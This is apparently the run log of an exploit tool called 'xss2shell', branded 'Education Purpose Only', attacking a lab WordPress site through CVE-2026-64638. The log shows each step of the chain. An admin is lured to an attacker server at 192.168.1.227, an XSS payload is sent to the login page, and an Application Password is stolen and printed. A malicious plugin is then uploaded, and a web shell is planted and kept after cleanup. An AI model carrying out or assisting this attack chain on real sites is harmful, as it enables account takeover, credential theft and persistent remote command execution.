__          __           _  _____           
 \ \        / /          | |/ ____|          
  \ \  /\  / /__  _ __ __| | (___   ___  ___ 
   \ \/  \/ / _ \| '__/ _` |\___ \ / _ \/ __|
    \  /\  / (_) | | | (_| |____) |  __/ (__ 
     \/  \/ \___/|_|  \__,_|_____/ \___|\___|
                                              
                                              
xss2shell & CVE-2026-64638 |  https://wordsec.net/ - Education Purpose Only


============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
    ->  http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
    ->  http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] Application Password saved to xss2shell_creds.json for later runs (shell: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php)
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=3SGS Loba 2Txw EzWz EbZC xZst (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1786125273210/
[+] Plugin ZIP upload request sent with the victim's session
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php

============================================================
[+] Command output:
www-data
============================================================
[*] Cleanup: published page deleted (id=61)
[*] Cleanup: Application Password, plugin shell, and saved credentials preserved

[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.